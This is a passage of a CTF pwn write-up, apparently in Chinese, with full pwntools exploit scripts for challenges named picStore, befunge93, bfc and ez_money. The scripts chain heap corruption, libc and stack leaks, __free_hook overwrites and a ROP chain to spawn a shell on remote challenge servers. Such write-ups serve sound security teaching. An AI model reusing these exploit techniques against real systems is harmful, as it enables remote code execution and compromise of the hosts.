    os.system('rm exp.db')
    os.system('sqlite3 exp.db < exp.cmd')
    db = open("./exp.db","r").read()
    patch(0,db)
    menu_show(0)

def add(idx,size):
    run('sm({},{})'.format(idx,size))

def free(idx):
    run('sd({})'.format(idx))

def show(idx):
    run('ss({})'.format(idx))

def edit(idx,offset,value):
    run('se({},{},{})'.format(idx,offset,value))

context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t',
'iterm2', '-e']

create('mrr')
# run('printf("hello world")')
add(0,0x100)
show(0)
libc = ELF("./libc-2.27.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x3ebca0
success(hex(libc.address))
add(1,0x100)
edit(1,0,u64('/bin/sh\x00'))
free(0)
edit(0,0,libc.sym['__free_hook'])
add(2,0x100)
add(3,0x100)
edit(3,0,libc.sym['system'])
# gdb.attach(s)
free(1)
s.interactive()
```

picStore

read如果超过0x1200会造成off by one bit。当2.31 UAF打

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
    glibc_dir = '~/Exps/Glibc/glibc-2.27/'
    gdbscript = 'directory %smalloc/\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio/\n' % glibc_dir
    gdbscript += 'directory %self/\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print
\x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if
isinstance(breakpoint, int) else breakpoint
    gdb.attach(p, gdbscript)
    time.sleep(1)

elf = ELF('./picStore')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw',
'-hp','62'])

p = remote("190.92.238.134",6679)

def menu(c):
    sla("choice>>",str(c))

def upload(data):
    menu(1)
    sea("data",str(data))

def download(id):
```

```
    menu(2)
    sla("link",str(id))

def dele(id):
    menu(3)
    sla("link",str(id))

def str2bits(s):
    ans = ''
    for i in s:
        ans += "{:08b}".format(ord(i))[::-1]
    return ans

def rcv_leak(s):
    ans = ''
    tmp_s = ''
    for i in s:
        if i == '\xfe':
            tmp_s += '0'
        if i == '\xff':
            tmp_s += '1'
        if len(tmp_s) == 8:
            ans += p8(int('0b'+tmp_s[::-1],2))
            tmp_s = ''
    return ans

def make_bmp2(data):
    header_size = 0
    image_offset = len(data)<<3
    image_width = 0x111
    num_colors = 0x222

    begin_with = 'BM' + p32(image_offset) + p16(len(data)<<3) + p16(0xdead) +
p32(header_size)

    header = 'Nu1L' + p32(image_width) + p32(num_colors)
    header = header.ljust(0x28,'U') + str2bits(data)
    bmp = begin_with + header
    return bmp

def make_tmp(data):
    header_size = 0
    image_offset = 0x8
    image_width = 0x111
    num_colors = 0x222

    begin_with = 'BM' + p32(image_offset) + p16(0x8) + p16(0xdead) + p32(header_size)

    header = 'Nu1L' + p32(image_width) + p32(num_colors)
```

```
    header = header.ljust(0x28,'U') + str2bits(data)
    bmp = begin_with + header
    return bmp

def make_bmp(mallocSize,data,size=-1):
    if size == -1:
        size = (len(data))+54
    print(size)
    header = 'BM'+p32(size)+p16(mallocSize<<3)+p16(0)+p32(54)
    bfMap = 'Nu1L'+p32(600)+p32(600)
    bfMap = bfMap.ljust(0x28,'\x00')
    packet = header + bfMap + data
    return packet


def add_small(size):
    payload = make_bmp2("A"*(size-1)+"\x00")
    upload(payload)

def add_big(size):
    if size > 0x280*2:
        payload = make_bmp2("A"*(size-1)+"\x00") + make_tmp("\x00") + make_tmp("\x00")
    else:
        payload = make_bmp2("A"*(size-1)+"\x00") + make_tmp("\x00")
    upload(payload)

def add(size):
    if size < 0x280:
        add_small(size)
    else:
        add_big(size)


for i in range(3):
    add(0x208)
add(0x1b8)
add(0x18)
'''
x/30xg $rebase(0x70080)
tel {long}$rebase(0x70080) 100
'''


add(0x418)

add(0xe8)

add(0x438)
```

```
add(0x438)

add(0x318)

add(0x468)

add(0x428)

add(0x208)

dele(5)
dele(8)
dele(11)

dele(7)


payload = make_bmp2("A"*(0x458-1)+"\x00") + make_bmp2("A"*(0x458-
0x280+0x20)+p16(0x761)+"\x00")
upload(payload)

'''
Recover
'''
header_size = 0
image_offset = 1<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x418<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("\x00")
bmp = begin_with + header

upload(bmp*2)

header_size = 0
image_offset = 1<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x428<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("\x00")
bmp = begin_with + header

upload(bmp*2)
```

```
'''
0x5555555d6e00: 0x4141414141414141      0x0000000000000551
0x5555555d6e10: 0x00005555555d6490      0x00005555555d77a0
'''
add(0x418)
'''
A->bk = p
'''
dele(11)
dele(7)
header_size = 0
image_offset = 8<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x418<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("a"*7+"\x00")
bmp = begin_with + header

header_size = 0
image_offset = 1<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x418<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("\x00")
bmp2 = begin_with + header
upload(bmp+bmp2)
add(0x418)

'''
B ->fd = p
'''
dele(11)
dele(8)
dele(10)
header_size = 0
image_offset = 0x4f8<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x4f8<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("a"*0x4f7+"\x00")
```

```
bmp = begin_with + header

header_size = 0
image_offset = (0x1f8+0x30+8)<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16((0x4f8)<<3) + p16(0xdead) +
p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("a"*(0x1f8+0x30)+p64(0x431))
bmp2 = begin_with + header

header_size = 0
image_offset = 1<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x4f8<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("\x00")
bmp3 = begin_with + header

upload(bmp+bmp2+bmp3) # 8

add(0x390)  # 10
add(0x208)
add(0x208)
dele(9)

'''
UNLINK
'''

payload = make_bmp(0x318,str2bits('B'*0x318)) +
make_bmp(0x500,str2bits("C"*0xd0+p64(0x760)+'\x00'))
upload(payload)
dele(8)

'''
LEAK
'''
add(0x18)
download(11)
ru("img data: ")
rc(0x36)
libc_leak = uu64(rcv_leak(rc(0x8*8)))
```

```
libc_base = libc_leak - 0x1ecbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
magic = libc.sym.setcontext + 61

dele(12)
dele(13)
header_size = 0
image_offset = 0x218<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x218<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') + str2bits("A"*0x208+"B"*8+p64(libc.sym.__free_hook-8))
bmp = begin_with + header
upload(bmp) # 8

add(0x208)
header_size = 0
image_offset = 0x208<<3
image_width = 0x111
num_colors = 0x222

begin_with = 'BM' + p32(image_offset) + p16(0x208<<3) + p16(0xdead) + p32(header_size)

header = 'Nu1L' + p32(image_width) + p32(num_colors)
header = header.ljust(0x28,'U') +
str2bits(("/bin/sh\0"+p64(libc.sym.system)).ljust(0x208,'\x00'))
bmp = begin_with + header
upload(bmp) # 8
dele(14)

p.interactive()
```

befunge93

p,g越界读写

```
from pwn import *
from z3 import *
```

```
notTop = '!'
pushIntList = '"'
pushInt = '&'
pop = '$'
mul = '*'
add = '+'
sub = '-'
div = '/'
putsChar = ','
putsInt = '.'
debug = '#'
oobWrite = pushInt*3 + 'p'
oobRead = pushInt*2 + 'g'

ROW = 0x200
COL = 0x100
col = BitVec('x',32)
row = BitVec('y',32)

def getXY(target):
    S = Solver()
    S.add(col < 0,row < 0,row * COL + col == target)
    if(S.check() == sat):
        m = S.model()
        print(m)
        success(hex(m[col].as_long())+"\t"+hex(m[row].as_long()))
        return m[col].as_long(),m[row].as_long()
    else:
        return None,None


# memory alloc
# s = process("./befunge93")
s = remote("94.74.89.68","10101")
# gdb.attach(s,"b *$rebase(0x2079)\nc")

s.sendlineafter("input x:",str(ROW))
s.sendlineafter("input y:",str(COL))
#getLibcAddress
code = (oobRead + putsChar)*6
code += oobWrite*8
code += oobWrite*8
code += '@'
print(code)



s.sendlineafter("input your code length:",str(len(code)))
s.sendafter("input your code:",code)
```

```
s.recvuntil(code)

def oobReadSend(target):
    for i in range(6):
        posX,posY = getXY(target+i)
        s.sendline(str(posY))
        sleep(0.5)
        s.sendline(str(posX))
        sleep(0.5)

def oobWriteSend(target,value):
    for i in range(8):
        # raw_input(">")
        val = value & 0xff
        posX,posY = getXY(target-code_leak+i)
        s.sendline(str(val))
        sleep(0.5)
        s.sendline(str(posY))
        sleep(0.5)
        s.sendline(str(posX))
        sleep(0.5)
        value >>= 8

oobReadSend(0x21008)
libc = ELF("./libc-2.31.so")
code_leak = u64(s.recvn(6)+"\x00\x00")
libc.address = code_leak + 0x194ff0
success(hex(libc.address))
oobWriteSend(code_leak,u64('/bin/sh\x00'))
raw_input(">")
oobWriteSend(libc.sym['__free_hook'],libc.sym['system'])

s.interactive()
```

bfc

1.读堆地址
2.修改tcache_struct，分配出tcache_struct
3.修改tcache_struct，随意分配，使tcache_struct被free并进入unsorted bin
4.泄漏libc地址，修改tcache_struct，分配至environ，此时栈地址应该被放入了堆中，泄漏栈地址
5.修改tcache_struct，分配到栈上，写rop

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
```

```
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
    glibc_dir = '~/pwn/source/glibc-2.35/'
    gdbscript = 'directory %smalloc/\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio/\n' % glibc_dir
    gdbscript += 'directory %self/\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print
\x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if
isinstance(breakpoint, int) else breakpoint
    gdb.attach(p, gdbscript)
    time.sleep(1)

elf = ELF('./bfc')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw',
'-hp','62'])
# p = process('./bfc')
p = remote("119.13.89.159",3301)
# debug()
'''
输入任意字节（> == 右） ---------- 代表 (10) 截断
,----------[++++++++++>,----------]

'''
# Stage 1 Leak Heap
code = ',----------[++++++++++<,----------]' + "<"*8 + ".>"*8
# Stage 2 Leak Libc
# Make Fake Tcache
code += '<' + ',----------[++++++++++<,----------]'
# Free Big Chunk
code += '>' + ',----------[++++++++++>,----------]'
# Get Leak
code += '<' + ',----------[++++++++++<,----------]' + "<"*0x7 + ".>"*0x8
# Stage 3 Leak Stack
# Make Environ
code += '<' + ',----------[++++++++++<,----------]' + '?'
# Get Leak
```

```
code += '>' + ',----------[++++++++++>,----------]' + ".>"*8 + '>'
# Stage 4 ROP
code += '<' + ',----------[++++++++++<,----------]'
code += '>' + ',----------[++++++++++>,----------]'

code = code.ljust(0x1000,',')
sla("size of code:",str(len(code)))
sea("code:",code)
'''
0x55555555d000      0x0                 0x290               Used                None
          None
0x55555555d290      0x0                 0x11c10             Used                None
          None
0x55555556eea0      0x0                 0x60                Used                None
          None
0x55555556ef00      0xc30847            0x30                Used                None
          None
0x55555556ef30      0x0                 0x30                Used                None
          None
0x55555556ef60      0x0                 0x30                Used                None
          None
0x55555556ef90      0x0                 0x50                Used                None
          None
0x55555556efe0      0x0                 0x210               Used                None
          None
0x55555556f1f0      0x0                 0x410               Used                None
          None
0x55555556f600      0x0                 0x1010              Used                None
          None
'''
'''
[*] LOCAL
'''
CHUNKS =  p64(0) + p64(0x11c11) + 'a'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x40
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'a'*0x400
CHUNKS += p64(0) + p64(0x1011) + 'a'*0x1000
CHUNKS += p64(0) + p64(0x21) + 'a'
'''
[*] REMOTE
'''
CHUNKS = ''
CHUNKS += p64(0) + p64(0x11c11) + 'a'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
```

```
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x40
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'a'*0x400
CHUNKS += p64(0) + p64(0x1011) + 'a'*0xb00
'''
[*] Stage 1: Leak Heap
0x11c11 0x11c00
'''
CHUNKS = ''
CHUNKS += 'a'*0x20
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'a'*0x400
CHUNKS += p64(0) + p64(0x1011) + 'a'*0xb00

sl(CHUNKS[::-1])
heap_leak = uu64(ru('\x00\x00'))
heap_base = heap_leak - 0x11ff0
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
# assert '\x21' not in data0
'''
[*] Stage 2: Leak Libc
'''
# Fake Tcache
FAKE_TCACHE = p16(1)+p16(0)*0x3f + p64(heap_base+0x300) + p64(0)*0x3f
CHUNKS =  p64(0) + p64(0x11c11) + 'a'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x20

CHUNKS = FAKE_TCACHE + CHUNKS
sl(CHUNKS[::-1])
# Make free
FAKE_TCACHE = p16(0) + p16(1) + p16(0)*0x3d + p16(0xff) + p64(0) +
p64(heap_base+0x121f0+0x10) + p64(0)*0x3e
CHUNKS =  p64(0) + p64(0x11c11) + 'a'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x40
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'a'*0x400
CHUNKS += p64(0) + p64(0x1011) + 'a'*0xb00
```

```
CHUNKS += 'a'*0x500
CHUNKS += p64(0) + p64(0x21) + 'a'*0x20


CHUNKS = FAKE_TCACHE + CHUNKS
sl(CHUNKS)
# Get Leak
CHUNKS = ''
CHUNKS += 'a'*0x410
CHUNKS += p64(0) + p64(0x1011) + 'a'*0xb00
CHUNKS += 'a'*0x500
CHUNKS += p64(0) + p64(0x21) + 'a'*0x20
sl(CHUNKS[::-1])
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x219ce0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
magic = libc.sym.setcontext + 61


'''
[*] Stage 3: Leak Stack
'''
# Make Environ
FAKE_TCACHE = p16(1) + p16(0)*0x3f + p64(libc.sym.environ) + p64(0)*0x3f
CHUNKS =  p64(0) + p64(0x11c11) + 'E'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x40
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'a'*0x10
CHUNKS = FAKE_TCACHE + CHUNKS
sl(CHUNKS[::-1])
# Get Leak
FAKE_TCACHE = p16(0)*0x40
sl(FAKE_TCACHE[:-1])
stack_addr = uu64(ru('\x7f',drop=False)[-6:])
stack_addr ^= (libc.sym.environ>>12)
lg('stack_addr',stack_addr)


'''
```

```
[*] Stage 4: ROP
'''
FAKE_TCACHE = p16(0)*0x40 + p64(0)
sl(FAKE_TCACHE[::-1])
pop_rdi = libc.address + 0x000000000002a3e5
sh = next(libc.search("/bin/sh\x00"))
ROP_CHAIN = p64(pop_rdi+1)+p64(pop_rdi)+p64(sh)+p64(pop_rdi+1)+p64(libc.sym['system'])

FAKE_TCACHE = p16(0)*7 + p16(1) + p16(0)*0x38 + p64(0)*7 + p64(stack_addr-0x148) +
p64(0)*0x38
CHUNKS =  p64(0) + p64(0x11c11) + 'a'*0x11c00
CHUNKS += p64(0) + p64(0x61) + 'a'*0x50
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x31) + 'a'*0x20
CHUNKS += p64(0) + p64(0x51) + 'a'*0x40
CHUNKS += p64(0) + p64(0x211) + 'a'*0x200
CHUNKS += p64(0) + p64(0x411) + 'P'*0x400
CHUNKS += p64(0) + p64(0x1011) + 'a'*0x1000
CHUNKS += p64(0) + p64(0x21) + 'c'*0x10
CHUNKS += p64(0) + p64(0x51) + ROP_CHAIN.ljust(0x50,'\x00') + 'a'*0x29
CHUNKS = FAKE_TCACHE + CHUNKS
lg('stack_addr',stack_addr)
# pause()
sl(CHUNKS)

p.interactive()
```

_money

loan 越界

```
from pwn import *

# s = process("./ez_money")
# s = remote("139.9.242.36","5200")
s = remote("110.238.108.112","5200")

def cmd(cmd):
    s.sendlineafter("your choice :     ",cmd)

def login(id,pwd):
    cmd('login')
    s.sendlineafter("please input the account id",id)
    s.sendlineafter("please input the password",pwd)

def new_account(id,pwd,money):
    cmd('new_account')
    s.sendlineafter("please input the account id",id)
```

```
    s.sendlineafter("please input the password",pwd)
    s.sendlineafter("please input the money",str(money))

def exit_account():
    cmd('Exit_account')

def Query():
    cmd('Query')

def Cancellation(pwd):
    cmd('Cancellation')
    s.sendlineafter("please enter the password",pwd)

def Update_info(old_pwd,buf):
    cmd('Update_info')
    s.sendlineafter("please entet  a new password",buf)
    s.sendlineafter("please input your password.",old_pwd)

def Loan_money(money,comment):
    cmd('Loan_money')
    s.sendlineafter("Please enter the loan amount (no more than 1
million).",str(money))
    s.sendlineafter('Please leave your comments.',comment)

def vip():
    cmd("I'm vip!")

new_account("u1",'p0',0xffffffff)
exit_account()
new_account("u2",'p0',0xffffffff)
exit_account()
for i in range(11):
    new_account('loan{}'.format(i),'p0',0x10000000)
    exit_account()
new_account(p64(0x51)+p64(0x421),p64(0x20),0x10000000)
exit_account()
new_account(p64(0x21),p64(0x20),0x10000000)
exit_account()

for i in range(10):
    login('loan{}'.format(i).ljust(0x20,'\x00'),'p0')
    Loan_money(1000,'loan{}'.format(i))
    exit_account()
login(p64(0x51)+p64(0x421),p64(0x20))
Loan_money(1000,p64(0xdeadbeef))
exit_account()
login(p64(0)+p64(0xdeadbeef),'\x00'*8)
Cancellation('p0')
login('u2'.ljust(0x20,'\x00'),'p0')
```

```
vip()
s.recvuntil('loan9')
libc = ELF("./libc-2.31.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ecbe0
success(hex(libc.address))
raw_input(">")
exit_account()
new_account('u1','u1',0xffffffff)
exit_account()
new_account('u2','u2',0xffffffff)
exit_account()
login('loan10','p0')
Cancellation('p0')
login('u1'.ljust(0x20,'\x00'),'u1'+'\x00'*6)
Cancellation('u1')
login('u2'.ljust(0x20,'\x00'),'u2'+'\x00'*6)
vip()
s.recvuntil('loan9')
s.recvuntil("++++++++++++++++++++++++++++++++++++++++\n")
s.recvuntil("Loan account  :")
s.recv(0x10)
heap_leak = u64(s.recv(8))
success(hex(heap_leak))
heapbase = heap_leak-0x940
raw_input(">")
Cancellation('u2')
login(p64(heapbase+0x10)+p64(0)*3,p64(heapbase+0x580))
Update_info(p64(heapbase+0x580),p64(libc.sym['__free_hook']))
exit_account()
new_account('mrr'.ljust(0x20,'\x00'),'/bin/sh\x00',0x1234)
exit_account()
new_account('nu1l',p64(libc.sym['system']),0x1234)
exit_account()
login('mrr'.ljust(0x20,'\x00'),'/bin/sh\x00')
Cancellation('/bin/sh\x00')
# gdb.attach(s)

s.interactive()
```